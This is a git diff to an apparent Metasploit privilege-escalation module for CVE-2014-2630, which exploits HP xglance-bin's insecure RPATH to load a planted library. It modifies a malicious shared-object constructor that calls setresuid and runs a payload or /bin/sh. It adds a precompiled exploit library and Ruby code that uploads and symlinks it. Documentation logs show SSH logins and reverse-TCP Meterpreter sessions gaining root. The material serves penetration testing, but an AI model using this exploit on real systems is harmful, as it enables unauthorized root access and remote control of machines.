diff --git a/data/exploits/CVE-2014-2630.c b/data/exploits/CVE-2014-2630/CVE-2014-2630.c similarity index 99% rename from data/exploits/CVE-2014-2630.c rename to data/exploits/CVE-2014-2630/CVE-2014-2630.c index 0abfa75f2b..bae3bbb18f 100644 --- a/data/exploits/CVE-2014-2630.c +++ b/data/exploits/CVE-2014-2630/CVE-2014-2630.c @@ -9,8 +9,8 @@ void __cxa_finalize (void *d) { } void __attribute__((constructor)) init() { setresuid(geteuid(), geteuid(), geteuid()); - system("#{payload_path}") - // execl("/bin/sh", (char *)NULL, (char *)NULL); + execl("#{payload_path}", (char *)NULL, (char *)NULL); + execl("/bin/sh", (char *)NULL, (char *)NULL); } int applicationShellClassRec = 0; int applicationShellWidgetClass = 0; @@ -3641,4 +3641,3 @@ int XWidthOfScreen = 0; int XWindowEvent = 0; int XWithdrawWindow = 0; int overrideShellWidgetClass = 0; - diff --git a/data/exploits/CVE-2014-2630/libXm.so.3 b/data/exploits/CVE-2014-2630/libXm.so.3 new file mode 100644 index 0000000000..db09e8838a Binary files /dev/null and b/data/exploits/CVE-2014-2630/libXm.so.3 differ diff --git a/documentation/modules/exploit/linux/local/hp_xglance_priv_esc.md b/documentation/modules/exploit/linux/local/hp_xglance_priv_esc.md new file mode 100644 index 0000000000..ce7b9ac110 --- /dev/null +++ b/documentation/modules/exploit/linux/local/hp_xglance_priv_esc.md @@ -0,0 +1,227 @@ +## Vulnerable Application + +This exploit takes advantage of the fact that xglance-bin, part of +HP's Glance (or Performance Monitoring) version 11'and subsequent' +, was compiled with an insecure RPATH option that attempts to load +libraries from a user controlled location (-L/lib64/). +Creating libraries in this location will result in an escalation +of privileges to root. + +### Mock Application + +Unfortunately the application is a pay for application and the version is many years old by the time the +PoC was released. Instead, we use a mock binary based on the permissions noted in the original CVE +announcement, and the `ldd` details from the PoC. + +The following commands were performed on Fedora 31 to create the binary. +When the binary was pushed to rhel7.1 for testing, a 'of size' libXm.so.4 was required +so ```cp /lib64/libffi.so.6 ./-L/lib64/libXm.so.4``` was enough to make the binary +vulnerable. + + ``` + sudo su + cd ~ + dnf install motif-devel + + cat > main.c << DONE + #include + #include + + void main(){ + printf("HP xglance-bin emulator %d\n",XmVERSION); + char* x = XmCvtXmStringToCT(NULL); + printf("%p",x); + } + + DONE + + + mkdir -p ./-L/lib64; + cd ./-L/lib64; + ``` +The follow commands copies files to the path for building. +However, they may not be installed on a default rhel system. + + ``` + # libXm.so.3 may fail on newer systems like fedora 31 + cp /usr/lib64/libXm.so.3 .; + cp /usr/lib64/libXm.so.4 libXm.so.3; + cp /usr/lib64/libXp.so.6 .; + cp /usr/lib64/libXt.so.6 .; + cd ../..; + ``` + gcc -lXm main.c -o xglance-bin -Wl,-rpath=-L/lib64:/usr/lib64:/usr/X11R6/lib64:/opt/perf/lib64; + mkdir -p /opt/perf/bin/; + cp xglance-bin /opt/perf/bin/; + chown root:bin /opt/perf/bin/xglance-bin; + chmod 4555 /opt/perf/bin/xglance-bin; + ``` + +To confirm the file is vulnerable, run: + ``` + [fedora@fedora31 ~]$ ldd /opt/perf/bin/xglance-bin | grep -- -L/lib64/ + libXt.so.6 => -L/lib64/libXt.so.6 (0x00007f727441b000) + libXp.so.6 => -L/lib64/libXp.so.6 (0x00007f72742b2000) + ``` +We'll want to see one or more `libX*.so*` files with `-L/lib64/`. + + +## Verification Steps + + 1. Install the application + 2. Start msfconsole + 3. Get a session + 4. Do: ```use exploit/linux/local/hp_xglance_priv_esc``` + 5. Do: ```set session #``` + 6. Do: ```run``` + 7. You should get a root shell. + +## Options + +### COMPILE + +If the .so exploit should be compiled on the system. `gcc` is required. +More noisey, but more AV resilient. Default is `true` + +## Scenarios + +### Mock binary on Fedora 31 with compile + + ``` + [*] Processing xglance.rb for ERB directives. + resource (xglance.rb)> use auxiliary/scanner/ssh/ssh_login + resource (xglance.rb)> set rhosts 2.2.2.2 + rhosts => 2.2.2.2 + resource (xglance.rb)> set username fedora + username => fedora + resource (xglance.rb)> set password fedora + password => fedora + resource (xglance.rb)> run + [+] 2.2.2.2:22 - Success: 'fedora:fedora' '' + [*] Command shell session 1 opened (1.1.1.1:34379 -> 2.2.2.2:22) at 2020-04-19 14:39:45 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + ``` + ``` + resource (xglance.rb)> use exploit/linux/local/hp_xglance_priv_esc + resource (xglance.rb)> set session -1 + session => -1 + resource (xglance.rb)> set verbose true + verbose => true + resource (xglance.rb)> rexploit + [*] Reloading module... + [!] SESSION may not be compatible with this module. + [*] Started reverse TCP handler on 1.1.1.1:4444 + [+] xglance-bin found, and linked to vulnerable relative path -L/lib64/ through libXt.so.6 + [*] Deleting exploit folder: /tmp/-L + [*] Creating exploit folder: /tmp/-L/lib64/ + [+] gcc is installed + [*] Live compiling exploit on system... + [*] Max line length is 65537 + [*] Writing 106298 bytes in 7 chunks of 61359 bytes (octal-encoded), using printf + [*] Next chunk is 61584 bytes + [*] Next chunk is 60411 bytes + [*] Next chunk is 61525 bytes + [*] Next chunk is 61438 bytes + [*] Next chunk is 61757 bytes + [*] Next chunk is 30375 bytes + [*] uploading payload + [*] Writing '/tmp/.u4aLoiq' (207 bytes) ... + [*] Max line length is 65537 + [*] Writing 207 bytes in 1 chunks of 630 bytes (octal-encoded), using printf + [*] Launching xglance-bin... + [*] Transmitting intermediate stager...(106 bytes) + [*] Sending stage (980808 bytes) to 2.2.2.2 + [*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:55298) at 2020-04-19 14:40:05 -0400 + + meterpreter > getuid + Server username: no-user @ fedora31 (uid=0, gid=1000, euid=0, egid=1000) + meterpreter > shell + Process 1699 created. + Channel 1 created. + whoami + root + ^Z + Background channel 1? [y/N] y + meterpreter > sysinfo + Computer : 2.2.2.2 + OS : Fedora 31 (Linux 5.3.7-301.fc31.x86_64) + Architecture : x64 + BuildTuple : i486-linux-musl + Meterpreter : x86/linux + meterpreter > + ``` + +### Mock binary on rhel 7.1 no compile + + ``` + [*] Processing xglance.rb for ERB directives. + resource (xglance.rb)> use auxiliary/scanner/ssh/ssh_login + resource (xglance.rb)> set rhosts 192.168.2.243 + rhosts => 192.168.2.243 + resource (xglance.rb)> set username redhat + username => redhat + resource (xglance.rb)> set password redhat + password => redhat + resource (xglance.rb)> run + [+] 192.168.2.243:22 - Success: 'redhat:redhat' '' + [*] Command shell session 1 opened (192.168.2.128:45901 -> 192.168.2.243:22) at 2020-04-19 14:59:53 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + ``` + ``` + msf5 exploit(linux/local/hp_xglance_priv_esc) > rexploit + [*] Reloading module... + + [!] SESSION may not be compatible with this module. + [*] Started reverse TCP handler on 192.168.2.128:4444 + [+] xglance-bin found, and linked to vulnerable relative path -L/lib64/ through libXm.so.4 + [*] Deleting exploit folder: /tmp/-L + [*] Creating exploit folder: /tmp/-L/lib64/ + [*] Dropping pre-compiled exploit on system... + [*] Writing '/tmp/-L/lib64/libXm.so.3' (368248 bytes) ... + [*] Max line length is 65537 + [*] Writing 368248 bytes in 23 chunks of 46385 bytes (octal-encoded), using printf + [*] Next chunk is 53790 bytes + [*] Next chunk is 38675 bytes + [*] Next chunk is 38759 bytes + [*] Next chunk is 38694 bytes + [*] Next chunk is 38757 bytes + [*] Next chunk is 38658 bytes + [*] Next chunk is 63466 bytes + [*] Next chunk is 62734 bytes + [*] Next chunk is 63857 bytes + [*] Next chunk is 63812 bytes + [*] Next chunk is 46324 bytes + [*] Next chunk is 35989 bytes + [*] Next chunk is 38405 bytes + [*] Next chunk is 38978 bytes + [*] Next chunk is 38950 bytes + [*] Next chunk is 38935 bytes + [*] Next chunk is 40042 bytes + [*] Next chunk is 63562 bytes + [*] Next chunk is 63562 bytes + [*] Next chunk is 63521 bytes + [*] Next chunk is 63618 bytes + [*] Next chunk is 28951 bytes + [*] uploading payload + [*] Writing '/tmp/.u4aLoiq' (207 bytes) ... + [*] Max line length is 65537 + [*] Writing 207 bytes in 1 chunks of 630 bytes (octal-encoded), using printf + [*] Launching xglance-bin... + [*] Transmitting intermediate stager...(106 bytes) + [*] Sending stage (980808 bytes) to 192.168.2.243 + [*] Meterpreter session 2 opened (192.168.2.128:4444 -> 192.168.2.243:33373) at 2020-04-19 15:09:55 -0400 + [+] Deleted /tmp/-L/lib64/libXm.so.3 + [+] Deleted /tmp/.u4aLoiq + + meterpreter > getuid + Server username: no-user @ localhost.localdomain (uid=0, gid=1000, euid=0, egid=1000) + meterpreter > sysinfo + Computer : localhost.localdomain + OS : Red Hat Enterprise Linux 7 (Linux 3.10.0-229.el7.x86_64) + Architecture : x64 + BuildTuple : i486-linux-musl + Meterpreter : x86/linux + meterpreter > + ``` diff --git a/documentation/modules/exploit/linux/local/hp_xglance_priv_esc.rb b/documentation/modules/exploit/linux/local/hp_xglance_priv_esc.rb deleted file mode 100644 index 3091a71ed1..0000000000 --- a/documentation/modules/exploit/linux/local/hp_xglance_priv_esc.rb +++ /dev/null @@ -1,65 +0,0 @@ -## Vulnerable Application - -Instructions to get the vulnerable application. If applicable, include links to the vulnerable install files, as well as instructions on installing/configuring the environment if it is different than a standard install. Much of this will come from the PR, and can be copy/pasted. - -### Mock Application - -``` -sudo dnf install motif-devel -cat > main.c << DONE -#include -#include -#include -#include - -void main(){ - printf("HP xglance-bin emulator %d\n",XmVERSION); - char* x = XmCvtXmStringToCT(NULL); - printf("%p",x); -} - -DONE - -gcc -lXm main.c -o xglance-bin -Wl,-rpath=-L/lib64:/usr/lib64:/usr/X11R6/lib64:/opt/perf/lib64 -sudo mkdir -p /opt/perf/bin/ -sudo cp xglance-bin /opt/perf/bin/ -sudo chown root:bin /opt/perf/bin/xglance-bin -sudo chmod 4555 /opt/perf/bin/xglance-bin -``` - - -## Verification Steps - Example steps in this format (is also in the PR): - - 1. Install the application - 2. Start msfconsole - 3. Do: ```use [module path]``` - 4. Do: ```run``` - 5. You should get a shell. - -## Options -List each option and how to use it. - -### Option Name - -Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here. - -## Scenarios -Specific demo of using the module that might be useful in a real world scenario. - - -### Version and OS - - ``` - code or console output - ``` - - For example: - - To do this specific thing, here's how you do it: - - ``` - msf > use module_name - msf auxiliary(module_name) > set POWERLEVEL >9000 - msf auxiliary(module_name) > exploit - ``` diff --git a/modules/exploits/linux/local/hp_xglance_priv_esc.rb b/modules/exploits/linux/local/hp_xglance_priv_esc.rb index 0985eedac4..e248084e04 100644 --- a/modules/exploits/linux/local/hp_xglance_priv_esc.rb +++ b/modules/exploits/linux/local/hp_xglance_priv_esc.rb @@ -3,19 +3,16 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core/exploit/local/linux' -require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::Linux::Priv include Msf::Post::Linux::System - #include Msf::Post::Linux::Kernel + include Msf::Post::Linux::Compile include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper - include Msf::Exploit::Local::Linux def initialize(info = {}) super( @@ -24,7 +21,8 @@ class MetasploitModule < Msf::Exploit::Local 'Name' => 'HP Performance Monitoring xglance Priv Esc', 'Description' => %q( This exploit takes advantage of the fact that xglance-bin, part of - HP's Glance (or Performance Monitoring), was compiled with an insecure + HP's Glance (or Performance Monitoring) version 11 'and subsequent' + , was compiled with an insecure RPATH option that attempts to load libraries from a user controlled location (-L/lib64/). Creating libraries in this location will result in an escalation of privileges to root. @@ -59,6 +57,9 @@ class MetasploitModule < Msf::Exploit::Local 'DefaultTarget' => 0 ) ) + register_options [ + OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]) + ] register_advanced_options [ OptBool.new('ForceExploit', [ false, 'Override check result', false ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) @@ -71,6 +72,10 @@ class MetasploitModule < Msf::Exploit::Local datastore['WritableDir'].to_s end + def exploit_folder + "#{base_dir}/-L/lib64/" + end + # Simplify and standardize uploading a file def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." @@ -85,12 +90,8 @@ class MetasploitModule < Msf::Exploit::Local end # Pull the exploit binary or file (.c typically) from our system - def exploit_data - ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-2630.c') - end - - def exploit_folder - "#{base_dir}/-L/lib64/" + def exploit_data(file) + ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-2630', file) end def find_libs @@ -133,64 +134,44 @@ class MetasploitModule < Msf::Exploit::Local fail_with Failure::BadConfig, "#{base_dir} is not writable" end - # Upload payload executable - payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" - upload_and_chmodx payload_path, generate_payload_exe - - # Set target - uname = cmd_exec 'uname -m' - vprint_status "System architecture is #{uname}" - if target.name.eql? 'Automatic' - case uname - when 'x86_64' - my_target = targets[2] - when /x86/, /i\d86/ - my_target = targets[1] - else - fail_with Failure::NoTarget, 'Unable to automatically select a target' - end - else - my_target = target - end - print_status "Using target: #{my_target.name}" - - cpu = nil - case my_target['Arch'] - when ARCH_X86 - cpu = Metasm::Ia32.new - when ARCH_X64 - cpu = Metasm::X86_64.new - else - fail_with Failure::NoTarget, 'Target is not compatible' - end - - so_stub = exploit_data - so_stub.sub!('#{payload_path}', payload_path) - begin - so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib) - rescue - print_error "Metasm encoding failed: #{$ERROR_INFO}" - elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}" - elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}" - fail_with Failure::Unknown, 'Metasm encoding failed' - end - - # delete folder - vprint_status("Deleting exploit folder: #{exploit_folder}") - rm_f exploit_folder + # delete exploit folder in case a previous attempt failed + vprint_status("Deleting exploit folder: #{base_dir}/-L") + rm_f "#{base_dir}/-L" # make folder vprint_status("Creating exploit folder: #{exploit_folder}") cmd_exec "mkdir -p #{exploit_folder}" - register_file_for_cleanup "#{base_dir}/-L" - # upload payload - vprint_status('Uploading so and creating symlinks') - upload("#{exploit_folder}libXm.so.3",so) - # upload payload folder 2 + register_dir_for_cleanup "#{base_dir}/-L" + + # drop our .so on the system that calls our payload + # we need gcc to compile instead of metasm since metasm + # removes unused variables, which we need to keep xglance-bin + # from breaking and not launching our exploit + so_file = "#{exploit_folder}libXm.so.3" + if live_compile? + vprint_status 'Live compiling exploit on system...' + payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" + code = exploit_data('CVE-2014-2630.c') + code.sub!('#{payload_path}', payload_path) # inject our payload path + upload_and_compile so_file, code, '-fPIC -shared -static-libgcc' + rm_f "#{so_file}.c" + else + payload_path = '/tmp/.u4aLoiq' + vprint_status 'Dropping pre-compiled exploit on system...' + upload_and_chmodx so_file, exploit_data('libXm.so.3') + end + + # Upload payload executable + vprint_status 'uploading payload' + upload_and_chmodx payload_path, generate_payload_exe + + # link so files to exploit vuln lib = find_libs - cmd_exec "ln -s #{exploit_folder}libXm.so.3 #{exploit_folder}#{lib}" - # just to be safe since this was in the original exploit - cmd_exec "ln -s #{exploit_folder}libXm.so.3 #{exploit_folder}libXp.so.6" - cmd_exec "ln -s #{exploit_folder}libXm.so.3 #{exploit_folder}libXt.so.6" + # just to be safe, Xt and Xp were in the original exploit + # our mock binary is also exploitsable through libXmu.so.6 + # unsure about the real binary + ['libXp.so.6', 'libXt.so.6', 'libXmu.so.6', lib].each do |l| + cmd_exec "cd #{exploit_folder}; ln -s libXm.so.3 #{l}" + end # Launch exploit print_status "Launching xglance-bin..."